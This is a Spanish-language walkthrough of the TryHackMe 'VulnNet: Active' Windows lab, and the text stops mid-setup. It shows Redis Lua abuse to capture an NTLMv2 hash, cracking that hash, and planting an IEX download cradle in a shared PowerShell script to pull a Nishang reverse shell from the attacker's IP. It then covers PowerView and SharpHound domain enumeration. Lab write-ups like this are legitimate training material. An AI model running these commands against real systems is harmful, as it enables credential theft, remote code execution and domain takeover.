VulnNet: Active – TryHackMe Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: TryHackMe

THM logo

Link de Room en TryHackMe: https://tryhackme.com/room/vulnnetactive


Resumen Link to heading

“VulnNet: Active” es una máquina de dificultad Media de la plataforma TryHackMe. La máquina víctima se encuentra corriendo un servicio Redis el cual permite loguearse sin autenticación. Esto nos permite enviarnos a neustra máquina de atacantes un hash como el usuario que está corriendo el servicio, hash el cual somos capaces de crackear y así obtener la contraseña del usuario corrienddo este servicio. Este usuario tiene acceso a un un recurso compartido por SMB, donde somos capaces tanto de descargar como subir archivos; es así como reemplazamos un script de PowerShell por uno malicioso, ganando asì acceso a la máquina víctima. Una vez dentro, vemos que el usuario actual es capaz de modificar un Group Policy Object (GPO) en el dominio de Active Directory actual, lo cual nos permite modificar este GPO para agregar a nuestro usuario como administrador del sistema y así comprometer el dominio.


User / Usuario Link to heading

Empezamos buscando por puertos TCP abiertos a través de un rápido, pero silencioso escaneo con Nmap contra la máquina víctima:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.203.36

El escaneo con Nmap muestra múltiples puertos abiertos. Entre ellos tenemos: 53 DNS, 135 Microsoft RPC, 445 SMB, 464 Kerberos, 6379 Redis; entre otros. Aplicamos algunos scripts de reconocimientos sobre los puertos abiertos identificados usando la flag -sVC con Nmap:

❯ sudo nmap -sVC -p53,135,139,445,464,6379,9389,49666,49667,49670,49672,49677,49705 10.10.203.36

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-24 21:05 -04
Nmap scan report for 10.10.203.36
Host is up (0.24s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
6379/tcp  open  redis         Redis key-value store 2.8.2402
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49672/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49705/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-06-25T01:07:01
|_  start_date: N/A
|_clock-skew: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.76 seconds

Dado algunos puertos abiertos (y servicios) tales como RPC, Kerberos y SMB, podemos sospechar que estamos ante un entorno Active Directory.

Podemos usar una herramienta como NetExec contra el servicio SMB de la máquina víctima para obtener tanto el nombre de la máquina víctima como el posible dominio de la que ésta pueda formar parte:

❯ nxc smb 10.10.203.36

SMB         10.10.203.36    445    VULNNET-BC3TCK1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)

Tenemos un nombre de máquina VULNNET-BC3TCK1 y un dominio vulnnet.local.

Para evitar problemas a futuro con resoluciones de DNS, siempre es recomendable agregar el nombre de la máquina, dominio y FQDN (el cual es el nombre de la máquina junto con el dominio), junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts ejecutando:

❯ echo '10.10.203.36 VULNNET-BC3TCK1 VULNNET-BC3TCK1.vulnnet.local vulnnet.local' | sudo tee -a /etc/hosts

Entre todos los servicios disponibles, uno muy curioso es Redis. Podemos usar la herramienta redis-cli para interactuar con este servicio desde una terminal:

❯ redis-cli -h 10.10.203.36

10.10.203.36:6379>

Tenemos acceso al servicio Redis, lo cual es curioso ya que no nos pidió contraseña/autenticación alguna.

Podemos usar el comando info para obtener información del servicio de Redis en sí:

10.10.203.36:6379> info

# Server
redis_version:2.8.2402
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:b2a45a9622ff23b7
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:winsock_IOCP
process_id:3808
run_id:eeecd010a88fc3de1b88573b386150aee4267edb
tcp_port:6379
uptime_in_seconds:37
uptime_in_days:0
hz:10
lru_clock:5986925
config_file:

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory
used_memory:952800
used_memory_human:930.47K
used_memory_rss:919256
used_memory_peak:952800
used_memory_peak_human:930.47K
used_memory_lua:36864
mem_fragmentation_ratio:0.96
mem_allocator:dlmalloc-2.8

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1750817352
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok

# Stats
total_connections_received:1
total_commands_processed:2
instantaneous_ops_per_sec:0
total_net_input_bytes:58
total_net_output_bytes:0
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0

# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.06
used_cpu_user:0.16
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Keyspace

We can use CONFIG GET * command to obtain information about previous commands executed:

10.10.203.36:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
<SNIP>

Where we can eventually see:

<SNIP>
  103) "dir"
  104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
  105) "maxmemory-policy"
<SNIP>

Está soliticando un archivo. De manera que, quizás, el acceso a archivos del sistema esté habilitado. Como un leve paréntesis, para obtener una mayor lista de cosas que podemso hacer para pentesting de Redis, podemos ver distintos blogs como éste por ejemplo.

Además, como se puede ver en este blog, podemos tratar de ejecutar comandos de Lua mediante Redis con el comando:

eval "dofile('C:\\\\Users\\\\test\\\\Desktop\\\\user.txt')" 0

Pero esto también nos podría servir para leer archivos. Por ejemplo, si tratamos de ejecutar/leer C:\Windows\System32\drivers\etc\hosts (un archivo que casi siempre existe en una máquina Windows, incluso la suya misma) obtenemos:

10.10.203.36:6379> eval "dofile('C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts')" 0

(error) ERR Error running script (call to f_4312283d582c42bbd59038c231ddd3f74b70f40a): @user_script:1: C:\Windows\System32\drivers\etc\hosts:2: unexpected symbol near '#'

Obtenemos un error: el programa está tratando de ejecutar un script y se encuentra con el símbolo #, el cual desconoce cómo ejecutar. Dado que el archivo \etc\hosts de Windows comienza con # esto es una buena señal ya que puede indicar que el servicio está tratando de ejecutar aquel archivo.

Podemos así manipular el archivo que estamos tratando de leer para tratar de leer un recurso en nuestra máquina de atacantes en redis-cli:

redis-cli -h $IP eval "dofile('//<attacker-IP>/test')" 0 

Intentemos eso.

Primero, empezamos un “listener” con Responder para la interfaz tun0 (la cual es usada por la VPN de TryHackMe):

❯ sudo responder -I tun0

Luego, nos enviamos a nuestra máquina de atacantes una solicitud:

❯ redis-cli -h 10.10.203.36 eval "dofile('//10.14.104.16/anything')" 0

(error) ERR Error running script (call to f_bf22ebd191e6d311ab47bbc7f649027d76ee423d): @user_script:1: cannot open //10.14.104.16/anything: Permission denied

y en nuestro Responder obtenemos algo:

❯ sudo responder -I tun0

<SNIP>
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.203.36
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash     : enterprise-security::VULNNET:2db625de02cd0eee:5234CD17436E922BEB1F7E1E0E02C3DB:01010000000000008074517D56E5DB015DEAFC80EC84F2450000000002000800450054004A00340001001E00570049004E002D0037005000430045005A0052003900540036004E00380004003400570049004E002D0037005000430045005A0052003900540036004E0038002E00450054004A0034002E004C004F00430041004C0003001400450054004A0034002E004C004F00430041004C0005001400450054004A0034002E004C004F00430041004C00070008008074517D56E5DB01060004000200000008003000300000000000000000000000003000004F94803E727FE8648EBE310AFFD75528DB526E461EC6DC63C18074F0DA498E660A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310034002E003100300034002E00310036000000000000000000

Obtenemos un hash NTLMv2 para el usuario enterprise-security.

Guardamos este hash en un archivo y lo tratamos de crackear a través de Brute Force Password Cracking (fuerza bruta) utilizando la herramienta John The Ripper (o john):

❯ john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 enterprise-security_hash

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sand_0873959498  (enterprise-security)
1g 0:00:00:02 DONE (2025-06-24 22:26) 0.4975g/s 1997Kp/s 1997Kc/s 1997KC/s sandraTIPITIN..sand36
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: sand_0873959498.

Revisamos si esta contraseña es válida para el usuario enterprise-security en el dominio a través del servicio SMB usando nuevamente la herramienta NetExec:

❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498'

SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-security:sand_0873959498

Podemos ver un símbolo +, por lo que es válida.

Revisamos si este usuario tiene acceso a recursos compartidos por SMB utilizando nuestro ya amigo NetExec:

❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498' --shares

SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-security:sand_0873959498
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Enumerated shares
SMB         10.10.203.36     445    VULNNET-BC3TCK1  Share           Permissions     Remark
SMB         10.10.203.36     445    VULNNET-BC3TCK1  -----           -----------     ------
SMB         10.10.203.36     445    VULNNET-BC3TCK1  ADMIN$                          Remote Admin
SMB         10.10.203.36     445    VULNNET-BC3TCK1  C$                              Default share
SMB         10.10.203.36     445    VULNNET-BC3TCK1  Enterprise-Share READ,WRITE
SMB         10.10.203.36     445    VULNNET-BC3TCK1  IPC$            READ            Remote IPC
SMB         10.10.203.36     445    VULNNET-BC3TCK1  NETLOGON        READ            Logon server share
SMB         10.10.203.36     445    VULNNET-BC3TCK1  SYSVOL          READ            Logon server share

Tenemos un recurso compartido llamado Enterprise-Share, el cual no es uno de los que vienen por defecto en SMB, del cual podemos tanto leer como escribir (subir) archivos.

Usamos nuestro compañero NetExec para revisar el contenido dentro de este recurso compartido:

❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498' --spider 'Enterprise-Share' --pattern .

SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-security:sand_0873959498
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Spidering .
SMB         10.10.203.36     445    VULNNET-BC3TCK1  //10.10.203.36/Enterprise-Share/. [dir]
SMB         10.10.203.36     445    VULNNET-BC3TCK1  //10.10.203.36/Enterprise-Share/.. [dir]
SMB         10.10.203.36     445    VULNNET-BC3TCK1  //10.10.203.36/Enterprise-Share/PurgeIrrelevantData_1826.ps1 [lastm:'2021-02-23 21:33' size:69]

Podemos ver un script de PowerShell llamado PurgeIrrelevantData_1826.ps1.

Descargamos aquel script usando NetExec:

❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498' --share 'Enterprise-Share' --get-file PurgeIrrelevantData_1826.ps1 PurgeIrrelevantData_1826.ps1

SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-security:sand_0873959498
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Copying "PurgeIrrelevantData_1826.ps1" to "PurgeIrrelevantData_1826.ps1"
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [+] File "PurgeIrrelevantData_1826.ps1" was downloaded to "PurgeIrrelevantData_1826.ps1"

Leyendo el contenido de este script de PowerShell, éste parece ser un script de una complejidad insana:

rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

Es un script que simplemente borra todos los recursos en la carpeta C:\Users\Public\Documents\.

Ya que tenemos permisos de escritura, podríamos tratar de sobreescribir este archivo añadiendo a éste una línea que ejecute una tarea/instrucción maliciosa. Por ejemplo, podríamos agregar la línea:

IEX(New-Object Net.WebClient).downloadString('http://10.14.104.16:8000/Invoke-PowerShellTcp.ps1')

Donde 10.14.104.16 es nuestra IP de atacantes y 8000 es un puerto en el cual próximamente comenzaremos un servidor HTTP mediante Python.

Ya descargado el archivo del recurso compartido, agregamos la instrucción/línea maliciosa al script. Por lo que PurgeIrrelevantData_1826.ps1 ahora se ve como:

rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

IEX(New-Object Net.WebClient).downloadString('http://10.14.104.16:8000/Invoke-PowerShellTcp.ps1')

Para ganar acceso a la máquina víctima y obtener una reverse shell, utilizaremos el script Invoke-PowerShellTcp.ps1 del repositorio de Nishang.

Descargamos el script del repositorio usando wget en una terminal:

❯ wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1 -q

Ahora editaremos el script Invoke-PowerShellTcp.ps1 de tal manera que cuando éste es llamado, éste ejecuta una función para enviarnos una reverse shell automáticamente. Para este propósito, agregamos al final de este script la línea:

Invoke-PowerShellTcp -Reverse -IPAddress 10.14.104.16 -Port 443

Y guardamos el archivo. Recordando que aquí 10.14.104.16 es nuestra IP de atacantes y 443 el puerto en el que nos pondremos en escucha para recibir una reverse shell con netcat. Si no queda del todo claro, subí un ejemplo de cómo se debería ver el script a mi repositorio de Github.

Exponemos el archivo modificado Invoke-PowerShellTcp.ps1 a través de un servidor HTTP con Python por el puerto 8000:

❯ ls -la && python3 -m http.server 8000

total 16
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Jun 24 22:57 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Jun 24 21:04 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 4339 Jun 24 22:57 Invoke-PowerShellTcp.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Además, en otra terminal empezamos un listener con netcat junto con rlwrap (ésta última herramienta nos permite manejar de manera más cómoda las reverse shells obtenidas desde máquinas víctimas Windows, no aplica para reverse shells obtenidas desde Linux; pero es completamente opcional colocarlo):

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Ahora subimos el archivo PurgeIrrelevantData_1826.ps1 modificado desde nuestra máquina víctima al recurso compartido Enterprise-Share dado que alguien o algo podría ejecutarlo. Podemos así “sobreescribir” el archivo original subiendo el archivo con exactamente el mismo nombre mediante nuestro amigo NetExec y su flag --put-file para subir archivos mediante SMB:

❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498' --share 'Enterprise-Share' --put-file PurgeIrrelevantData_1826.ps1 PurgeIrrelevantData_1826.ps1

SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-security:sand_0873959498
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [*] Copying PurgeIrrelevantData_1826.ps1 to PurgeIrrelevantData_1826.ps1
SMB         10.10.203.36     445    VULNNET-BC3TCK1  [+] Created file PurgeIrrelevantData_1826.ps1 on \\Enterprise-Share\PurgeIrrelevantData_1826.ps1

La “cadena de ataque” (“chain attack”) es entonces:

  1. Decargamos el script Invoke-PowerShellTcp.ps1 y lo editamos para que éste sea ejecutado apenas es cargado.
  2. Exponemos el script Invoke-PowerShellTcp.ps1 modificado en un servidor HTTP usando Python en nuestra máquina de atacantes.
  3. Modificamos el script descargado PurgeIrrelevantData_1826.ps1, añadiendo a este un instrucción en PowerShell que cargará el script Invoke-PowerShellTcp.ps1 desde nuestro servidor web iniciado en el pao anterior.
  4. En otra terminal, empezamos un listener con netcat en el puerto que hemos especificado en Invoke-PowerShellTcp.ps1 script.
  5. Usando NetExec (u otra herramienta para SMB) subimos el archivo modificado PurgeIrrelevantData_1826.ps1 a la carpeta compartida Enterprise-Share, conservando el nombre del archivo. Esto hará que el archivo original en el recurso compartido sea reemplazado por nuestro archivo que contiene una instrucción maliciosa.

Luego de algunos minutos, obtenemos una petición GET en nuestro servidor HTTP temporal con Python, obteniendo una shell como el usuario enterprise-security en nuestro listener con nc; ganando así acceso a la máquina víctima:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.14.104.16] from (UNKNOWN) [10.10.214.129] 49752
Windows PowerShell running as user enterprise-security on VULNNET-BC3TCK1
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\enterprise-security\Downloads>

Podemos extraer la flag de user desde el Desktop del usuario enterprise-security.

Nota
Si apretamos ENTER en la shell que hemos obtenido en nc, puede que obtengamos un error PermissionDenied. No obstante, este error es irrelevante dado que luego de que este error es mostrado en pantalla la shell sigue siendo 100% funcional.

NT Authority/System - Administrator Link to heading

Debemos recordar que basados en los puertos abiertos asumimos que estábamos ante un entorno Active Directory (AD). Para obtener información del dominio tenemos por tanto 2 opciones: usar Bloodhound o usar PowerView. Mostraré ambas.

Usando PowerView para inspeccionar el dominio Link to heading

Podemos descargar PowerView.ps1 desde su fuente original de Github (PowerSploit) con wget en una terminal en nuestra máquina de atacantes:

❯ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -q

Una vez descargado, y como ya hemos hecho antes, exponemos este archivo a través de un serivodr HTTP con Python a través del puerto 8000:

❯ ls -la && python3 -m http.server 8000

total 6996
drwxrwxr-x 2 gunzf0x gunzf0x    4096 Jun 27 14:30 .
drwxrwxr-x 5 gunzf0x gunzf0x    4096 Jun 24 21:04 ..
-rw-rw-r-- 1 gunzf0x gunzf0x    4403 Jun 24 23:05 Invoke-PowerShellTcp.ps1
-rw-rw-r-- 1 gunzf0x gunzf0x  770279 Jun 27 14:30 PowerView.ps1

y, en la máquina víctima, importamos y cargamos PowerView.ps1:

PS C:\Users\enterprise-security\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.14.104.16:8000/PowerView.ps1')

Resumidamente, PowerView.ps1 es un módulo de PowerShell de la suite de PowerSploit el cual nos brinda variadas funciones para extraer información de Active Directory; tanto de dominios como de forests (múltiples dominios anexados entre sí). Si se sabe utilizar bien, PowerView puede mapear todo un entorno por sí solo.

Una vez importado, podemos buscar detalles del dominio utilizando la función Get-Domain:

PS C:\Users\enterprise-security\Downloads> Get-Domain


Forest                  : vulnnet.local
DomainControllers       : {VULNNET-BC3TCK1SHNQ.vulnnet.local}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  :
PdcRoleOwner            : VULNNET-BC3TCK1SHNQ.vulnnet.local
RidRoleOwner            : VULNNET-BC3TCK1SHNQ.vulnnet.local
InfrastructureRoleOwner : VULNNET-BC3TCK1SHNQ.vulnnet.local
Name                    : vulnnet.local

Tal cual habíamos visto casi al inicio de este WriteUp, tenemos el nombre de la máquina actual la cual se llama VULNNET-BC3TCK1SHNQ y un dominio vulnnet.local, donde confirmamos que esta máquina es el Domain Controller (o DC) del dominio.

Una de las cosas que siempre se pasan por alto en los dominios son los llamados Group Policy Object, o GPO para los amigos. En corto, Son configuraciones centralizadas que permiten a los administradores de sistemas controlar y gestionar la configuración de usuarios y equipos dentro de un dominio de Active Directory. Este blog muestra más información de qué son los GPOs, para qué se utilizan y de qué sirven si es que todavía les intriga indagar sobre ello.

Para revisar si tenemos privilegios sobre algún GPO en el dominio, necesitamos conocer el SID (o Security Identifier) de nuestro usuario en el dominio. El SID no es más que un ID de nuestro usuario en el dominio:

PS C:\Users\enterprise-security\Downloads> ConvertTo-SID -Name enterprise-security

S-1-5-21-1405206085-1650434706-76331420-1103

Esto quiere decir que S-1-5-21-1405206085-1650434706-76331420-1103 o enterprise-security al identificarse es equivalente.

Obtenido el SID, revisamos si nuestro usuario tiene permisos sobre algún GPO:

PS C:\Users\enterprise-security\Downloads> Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq 'S-1-5-21-1405206085-1650434706-76331420-1103'}


ObjectDN              : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
ObjectSID             :
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 131127
SecurityIdentifier    : S-1-5-21-1405206085-1650434706-76331420-1103
AceType               : AccessAllowed
AceFlags              : ContainerInherit
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None
AuditFlags            : None

Del output de arriba vemos 2 cosas importantes:

  • Obtenemos un GPO con GUID 31B2F340-016D-11D2-945F-00C04FB984F9. Los GUID de los GPOs, no son más que IDs/identificadores para los GPOs.
  • Tenemos permisos (parámetro ActiveDirectoryRights) sobre este GPO, más específico los permisos importantes son WriteProperty y GenericExecute. Éstos nos permiten “editar” a nuestro antojo el GPO.

Piensen los GPOs como “políticas” que se aplican a un grupo. Por ejemplo, supongamos que tengo un pueblito (que sería la analogía al dominio de Active Directory) y le aplico una política (que será el análogo del GPO). Puedo crear una política que aplique a algunas casas del pueblo, una política que aplique a cierto sector del pueblo o, si se me permite, una política que afecte a todo el pueblo. Por lo que, en la vida real, los GPO se utilizan para que sea más fácil administrar grupos o computadores. Otro ejemplo, creo un GPO que sólo afecte a la gente de TI y Recursos Humanos en una empresa; u otro GPO que sólo afecte a 2 computadores en mi dominio que son computadores encargados de bases de datos.

Podemos entonces obtener información acerca de este GPO usando la función Get-GPO de PowerView y pasando el GUID hallado:

PS C:\Users\enterprise-security\Downloads> Get-GPO -Guid 31B2F340-016D-11D2-945F-00C04FB984F9


DisplayName      : security-pol-vn
DomainName       : vulnnet.local
Owner            : VULNNET\Domain Admins
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 2/23/2021 1:30:33 AM
ModificationTime : 2/23/2021 3:09:44 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 3, SysVol Version: 3
WmiFilter        :

El nombre del GPO es security-pol-vn.

Por lo que, resumiendo, como tenemos permisos sobre el GPO llamado security-pol-vn; esto quiere decir que si podemos manipualr el GPO, podemos manipular todos los objetos que estén incluidos en la política del GPO. ¿Qué pasa si un GPO afecta un dominio entero? Eso quiere decir que si comprometo o puedo manipular ese GPO, puedo realizar acciones (maliciosas) sobre el dominio entero.

El concepto de “qué es lo que abarca” un GPO se conoce como “link”. Por lo que al decir “Vamos a ver a qué está linkeado un GPO”, en realidad estamos diciendo “Vamos a ver qué objetos del dominio afecta el GPO”. Por lo que, finalmente, podríamos tratar de usar la función Get-DomainOU para ver a qué cosas está linkeado este GPO (y, por ende, ver a qué usuarios y grupos del dominio afecta):

PS C:\Users\enterprise-security\Downloads> Get-DomainOU | select name, gplink

name               gplink
----               ------
Domain Controllers [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local;0]

En este caso no tenemos output relacionado al GPO security-pol-vn, sólo otro GPO cuyo GUID es 6AC1786C-016F-11D2-945F-00C04fB984F9, el cual es el GPO llamado Default Domain Controllers Policy; que es el GPO que viene “por defecto” en Active Directory. Por lo que no podemos ver del todo a qué está linkeado este GPO.

No obstante, y como hemos podido ver, puramente usando PowerView hemos podido encontrar que tenemos un GPO llamado security-pol-vn el cual somos capaces de editar siendo el usuario enterprise-security.


Using BloodHound to inspect the domain Link to heading

Otra manera de ver permisos en un entorno Active Directory es usando Bloodhound para “mapear” (ver relaciones) el dominio. Para este propósito, BloodHound primero necesita una herramienta que escanee el dominio y genere un archivo el cual será interpretado por Bloodhound. Para este propósito podemos ejecutar SharpHound (el cual puede ser descargado desde su repositorio de Github) en la máquina víctima. En corto, SharpHound mapeará el dominio, generará un archivo y ese archivo lo puede interpretar Bloodhound para visualizar relaciones/permisos del dominio.

Como ya es usual, empezamos un servidor web HTTP usando Python y, en la máquina víctima, descargamos el binario de SharpHound usando la sesión de PowerShell:

PS C:\Users\enterprise-security\Downloads> iwr -uri http://10.14.104.16:8000/SharpHound.exe -o .\sharphound.exe

Una vez descargado, ejecutamos el binario de SharpHound para recoleccionar información sobre el dominio:

PS C:\Users\enterprise-security\Downloads> .\sharphound.exe -c All -d vulnnet.local

2025-06-25T10:12:00.7797253-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-06-25T10:12:01.1233775-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2025-06-25T10:12:01.2015387-07:00|INFORMATION|Initializing SharpHound at 10:12 AM on 6/25/2025
2025-06-25T10:12:01.6550153-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2025-06-25T10:12:01.8423011-07:00|INFORMATION|Beginning LDAP search for vulnnet.local
2025-06-25T10:12:02.0139979-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for VULNNET.LOCAL
2025-06-25T10:12:02.0296162-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for VULNNET.LOCAL
2025-06-25T10:12:02.3890040-07:00|INFORMATION|Beginning LDAP search for vulnnet.local Configuration NC
2025-06-25T10:12:02.4358786-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-06-25T10:12:02.4358786-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-06-25T10:12:02.5609002-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for VULNNET.LOCAL
2025-06-25T10:12:03.5764881-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2025-06-25T10:12:03.6077457-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2025-06-25T10:12:03.7483672-07:00|INFORMATION|Status: 296 objects finished (+296 296)/s -- Using 45 MB RAM
2025-06-25T10:12:03.7483672-07:00|INFORMATION|Enumeration finished in 00:00:01.9412205
2025-06-25T10:12:03.8890026-07:00|INFORMATION|Saving cache with stats: 15 ID to type mappings.
 1 name to SID mappings.
 1 machine sid mappings.
 4 sid to domain mappings.
 0 global catalog mappings.
2025-06-25T10:12:03.9202268-07:00|INFORMATION|SharpHound Enumeration Completed at 10:12 AM on 6/25/2025! Happy Graphing!

Esto generará un archivo .zip cuyo nombre no será más que la fecha en la cual hayamos ejecutado el comando.

PS C:\Users\enterprise-security\Downloads> dir


    Directory: C:\Users\enterprise-security\Downloads


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/23/2021   2:29 PM                nssm-2.24-101-g897c7ad
d-----        2/26/2021  12:14 PM                Redis-x64-2.8.2402
-a----        6/25/2025  10:12 AM          25799 20250625101202_BloodHound.zip
-a----        6/25/2025  10:10 AM        1286656 sharphound.exe
-a----        2/26/2021  10:37 AM            143 startup.bat
-a----        6/25/2025  10:12 AM           1382 Y2Q3NzU4MTgtZWE0Ny00ZGJjLTg4MDAtM2NjYjJmZTZjN2U2.bin

Ahora bien, hasta este momento sólo hemos transferido archivos desde nuestra máquina de atacantes hacia la máquina víctima. ¿Pero cómo lo hacemos al revés (desde la máquina víctima a nuestra máquina de atacantes)? Una muy buena opción para en este caso es utilizar el servicio SMB. En neustra máquina de atacantes podemos utilizar la herramienta impacket-smbserver, creando un recurso compartido que llamaremos smbFolder el cual utilizará credenciales para acceder a este recurso; asignaremos así el usuario gunzf0x y contraseña gunzf0x123 para poder acceder a este recurso compartido. Todo esto lo hacemos ejecutando en una terminal:

❯ impacket-smbserver smbFolder $(pwd) -smb2support -username gunzf0x -password gunzf0x123

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
